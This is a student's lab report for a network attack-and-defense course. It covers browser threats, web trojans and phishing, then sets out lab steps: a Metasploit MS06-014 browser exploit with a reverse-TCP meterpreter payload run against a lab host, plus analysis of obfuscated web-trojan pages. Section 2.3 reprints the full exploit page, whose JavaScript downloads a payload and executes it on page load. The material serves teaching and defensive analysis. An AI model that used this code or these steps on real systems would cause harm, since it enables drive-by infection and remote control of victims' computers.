20199115 2019-2020-2 《网络攻防实践》第十二周作业

20199115 2019-2020-2 《网络攻防实践》第十二周作业

1.实践内容

Web浏览器的技术发展与安全威胁

Web浏览器战争与技术发展

  • Web浏览器(Web Browser):是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。

  • 现代Web浏览器的基本结构与机理

Web浏览的安全问题与威胁

软件的安全困境的三要素:

  • 复杂性

    • 现代浏览器软件需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览

    • 符合HTML、XHTML、CSS等一系列页面标准规范

    • 支持JavaScript、Flash、Java等多种客户端执行环境,并满足大量的用户浏览需求

  • 可扩展性

    • 支持第三方插件扩展机制,但是这些插件的安全性难以保证
  • 连通性

    • 始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用和攻击

Web浏览安全威胁位置

  • 针对传输网络的网络安全协议安全威胁

    • 网络是连接 Web 应用服务端与客户端浏览环境的媒介,服务器端同样面临着网络传输协议安全攻击与威胁
  • 针对Web端系统平台的安全威胁

    • 浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得 Web 浏览环境存在着被攻击的风险

    • 针对 Windows 桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态

  • 针对Web浏览器软件及插件程序的渗透攻击威胁

    • 通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序
  • 针对互联网用户的社会工程学攻击

Web浏览安全威胁类型:

  • 网络钓鱼(Phishing)

  • 恶意木马与流氓软件下载

  • 网页木马-浏览器渗透攻击

  • 不良信息内容

Web浏览端的渗透攻击

网页木马安全威胁的产生背景

网页木马是从恶意网页脚本所孕育和发展出来的。自从Web浏览器在20世纪90年代中期引入了Java Applet, JavaScript, VBScript等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取得到访问权的机会,在浏览端植入恶意程序或进行其他任意操作,从而发挥在哪给出网页木马这种网络攻击技术

网页木马的机理分析

  • 网页木马: 就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。

  • 网页木马的定义特性:

是对Web浏览器软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语如JavaScript、VBScript实现,或以Flash、pdf等恶意构造的Web文件形式存在,通过利用Web浏览器软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

  • 对网页木马机理的全方位分析与理解

    • 网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软件来访问构造的恶意Web网页内容,才可能触发渗透攻击过程。

    -网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。

    • 实施网页木马攻击往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源

    • 多样化的客户端渗透攻击位置和技术类型,集成了多样化的客户端渗透攻击代码,攻击的软件类型与位置,利用的安全漏洞也各不相同

    • 分布式、复杂的微观链接结构,采用多个木马宿主站点来放置网页木马和盗号木马,并将它们挂接至大量的前端网页中。引入了一些中间跳转站点来提升防御方的分析和应对代价

    • 灵活多变的混淆与对抗分析能力,攻击者利用的Web客户端脚本语言,如JavaScript语言,都支持各种非常灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制

  • 网页木马的本质核心--浏览器渗透攻击

  • 网页挂马机制

    • 内嵌HTML标签,将网页木马链接嵌入到网站页面中,最常用千网页挂马的内嵌标签为ifame,iframe的功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中

    • 恶意Script脚本,利用script脚本标签通过外部引用脚本的方式来包含网页木马,跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签

    • 内嵌对象链接,利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载

    • ARP欺骗挂马,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间入攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点

网页木马的检测与分析技术

  • 基于特征码匹配的传统检测技术

    • 混淆技术和复杂的链接结构使得该技术不再有效
  • 基于统计与机器学习的静态分析方法

    • 仍然停留在外在形态层次上,存在大量误报,不适用于实际场景
  • 基于动态行为结果判定的检测分析方法

    • 利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性

    • 基于 “行为结果 ” 进行判定,因此具有低误报率、能够天然地对抗混淆机制

  • 基于模拟浏览器环境的动态分析检测方法

    • 通过模拟实现DOM模型页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交且式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态

网页木马防范措施

  • 系统补丁要及时更新

  • 安装并及时更新反病毒软件

  • 使用第三方浏览器,如Firefox/Opera等非IE内核的第三方浏览器

  • 养成安全的网站浏览习惯,不要随便点击各种来源不明,带有引诱语言的链接

揭开网络钓鱼的黑幕

网络钓鱼技术概述

  • 网络钓鱼:攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容

-架设钓鱼网站如知名金融机构及商务网站。

  • 发送大量欺骗性垃圾邮件。

  • 诱骗因特网用户访问钓鱼网站并以敏感信息登录。

  • 滥用个人敏感信息如资金转账、冒用身份等。

网络钓鱼攻击的技术内幕

  • 钓鱼攻击策略-架设钓鱼网站

    • 大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。

    • 前台假冒网站:知名的金融机构、在线电子商务网站。

    • 后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。

  • 钓鱼攻击策略-欺骗技术

    • 欺骗用户访问钓鱼网站:DNS中毒攻击、网络流量重定向、社会工程学-欺骗性垃圾邮件。

    • 欺骗性垃圾邮件:发送途径-难以追踪、发送源-冒充知名权威机构、发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。

  • 钓鱼攻击技术流程

    • 攻击者扫描网段,寻找存有漏洞的服务器

    • 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具

    • 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行

    • 攻击者下载群发电子邮件工具,大规模发送包含假冒钓鱼网站信息的欺骗性垃圾

    • 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息

网络钓鱼攻击的防范

  • 增强安全意识。要提高警惕。

-使用安全软件,不在不明网站预留个人信息

  • 了解网站钓鱼安全威胁与技巧

2.实践过程

2.1浏览器渗透攻击实践

任务:使用攻击机进行浏览器渗透攻击实践。

环境:攻击机:Kali、靶机:Windows靶机。

  • 选择使用Metasploit中的MS06-014渗透攻击模块。

  • 选择PAYLOAD为任意远程Shell连接。

  • 设置LHOST参数,运行exploit,构造出恶意网页脚本。

  • 在靶机环境中启动浏览器,访问恶意网页脚本URL。

  • 查看建立起的远程控制会话SESSION。

攻击机为kali IP地址:192.168.200.2

靶机为Win2KServer,IP地址:192.168.200.124

  • 首先在kali中msfconsole打开metasploit,然后就是选择漏洞use exploit/windows/browser/ie_createobject设置靶机和攻击机地址set rhost 192.168.200.124set lhost 192.168.200.2,设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,这时得到了如图的带有木马的地址。

-下面我们通过靶机的浏览器访问http://192.168.200.2:8080/HEZvBD ,浏览器返回一串字符,这个时候我们观察攻击机的行为,果然已经建立起了一个会话,攻击成功。

  • 最后我们验证下会话是否有效吧,我们使用指令sessions -i 1打开会话,然后执行指令,发现执行成功,sessions成功建立。实践完成。

2.2 取证分析实践:刨析一个世纪的网页木马攻击场景 (好NAN)

翻阅大佬的博客指导,还是有不理解的地方,哎!先顺一遍吧!希望后续会有人讲解一下

  • 首先给出这个网站的基本的分析图,以及用了哪些混淆技术。(答案是这么写的,我...看了视频也找不出来~)

  • 网页加密方法: www.cha88.cn

  • aa/kl.htm (dispatcher页面)

    • 十六进制编码

    • t=utf8to16(xxtea_decrypt(base64decode(t), 'x73x63x72x69x70x74'))

    • Base64编码, xxtea加密(密钥:script), UTF16to8编码

  • 1.js (MS06-014网马)

    • 十六进制编码
  • b.js (暴风影音网马)

    • 老外写的js加解密工具
  • pps.js (PPStream网马)

    • 八进制编码

  • 由于要执行的.exe文件已经在参考资料中提供,所以直接打开分析,首先使用peid打开pps.exe查看是否加壳,发现没有加壳,并且该程序是使用Delphi写的

  • 接着使用W32DAsm反汇编软件打开pps.exe,查看串式参考,可以看到,该程序自启动了IE浏览器,并生成一个bat批处理文件,然后是执行了删除操作,删除一些文件,还从恶意网站下载了20个恶意程序到受害者主机上;shellAutocommand=说明了该程序会自动执行shell指令,启动受害者主机目录下的一个程序;最后还发现了"瑞星卡卡上网安全助手 - IE 防漏墙","允许", "允许执行",这个应该是防止被杀毒软件查杀的设置。

  • 参考资料里已经提供了这20个恶意程序,尝试着分析其中一个14.exe,首先使用peid打开,然后发现该程序已经加壳,然后再用超级巡警脱壳机进行脱壳,再用peid打开脱壳后的程序,发现还有一个壳"Morphine 1.2 - 1.3 -> rootkit",根据实验指导书上的解释,这是一个伪装壳,不需要管它,然后我尝试了使用IDA、W32Dasm等进行反汇编,发现提示缺少头文件,无法打开,最后使用的是C32Asm成功打开了脱壳之后的14.exe,然后查看字符串信息,看到关键信息"bat",似乎又执行的是批处理文件,但是具体内容无法分析出来,里面有很多乱码

2.3 Web浏览器渗透攻击对抗实验

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 根据之前做过的ms06-014漏洞,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机.我们打开分析链接网页,发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。

  • 除无效回车符和空格后,我们得到了完整的网页信息,然后可以看到,该网页中的JavaScript使用了createObject,GetObject,Wscript.shell,Adobe.stream等指令。直接Google那个数组得到内容,果然是MS06-014漏洞。

    < head>
        < title>
            < /title>
                <script language="javascript">
                    function ZTNJBGU(o, n) {
                        var r = null;
                        try {
                            eval("r=o.CreateObject(n)")
                        } catch (e) {}
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'','')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject('',n)")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n)")
                            } catch (e) {}
                        }
                        return (r)
                    }
                    function GUOhgVB(a) {
                        var s = ZTNJBGU(a, "WScript.Shell");
                        var o = ZTNJBGU(a, "ADODB.Stream");
                        var e = s.Environment("Process");
                        var url = document.location + '/payload
';
                        var xml = null;
                        var bin = e.Item("TEMP") + "\GIDxoKkjoGPTGiZtMiMuQP.exe";
                        var dat;
                        try {
                            xml = new XMLHttpRequest()
                        } catch (e) {
                            try {
                                xml = new ActiveXObject("Microsoft.XMLHTTP")
                            } catch (e) {
                                xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
                            }
                        }
                        if (!xml) {
                            return (0)
                        }
                        xml.open("GET", url, false);
                        xml.send(null);
                        dat = xml.responseBody;
                        o.Type = 1;
                        o.Mode = 3;
                        o.Open();
                        o.Write(dat);
                        o.SaveToFile(bin, 2);
                        s.Run(bin, 0)
                    }
                    function TJRfORhQII() {
                        var i = 0;
                        var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
                        while (t[i]) {
                            var a = null;
                            if (t[i].substring(0, 1) == ' {
    ') {
                                a = document.createElement("object");
                                a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
                            } else {
                                try {
                                    a = new ActiveXObject(t[i])
                                } catch (e) {}
                            }
                            if (a) {
                                try {
                                    var b = ZTNJBGU(a, "WScript.Shell");
                                    if (b) {
                                        GUOhgVB(a);
                                        return (0)
                                    }
                                } catch (e) {}
                            }
                            i++
                        }
                    }
                </script>
                </head>
                
                <body onload='
                TJRfORhQII()
                '>
                    EHWednhDoDeLeWZrluIbllrWtGO
                </body>
                
                </html>

2.4 Web浏览器遭遇攻击、取证分析

  • 任务:通过分析给的网络记录文件,回答下列问题:

    • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?

需要用到chaosreader协议分析软件读取.pcap文件,安装apt-get install chaoreader,打开suspicious-time.pcap文件,可是我却没法下载这个软件。。。。

  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。

  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?

  • 请给出攻击者执行攻击动作的概要描述。

  • 攻击者引入了哪些技巧带来了困难。

  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?

  • shellcode执行了哪些操作?比较他们之间MD5的差异?

  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

3.学习中遇到的问题及解决

  • 问题:知识面的不足,让我做的有点懵
  • 问题解决方案:仔细研读各位大佬博客学习

4.实践总结

有些知识学习并不深入,没法游刃有余的应用!!!

参考资料

原文地址:https://www.cnblogs.com/dsqblog/p/12924820.html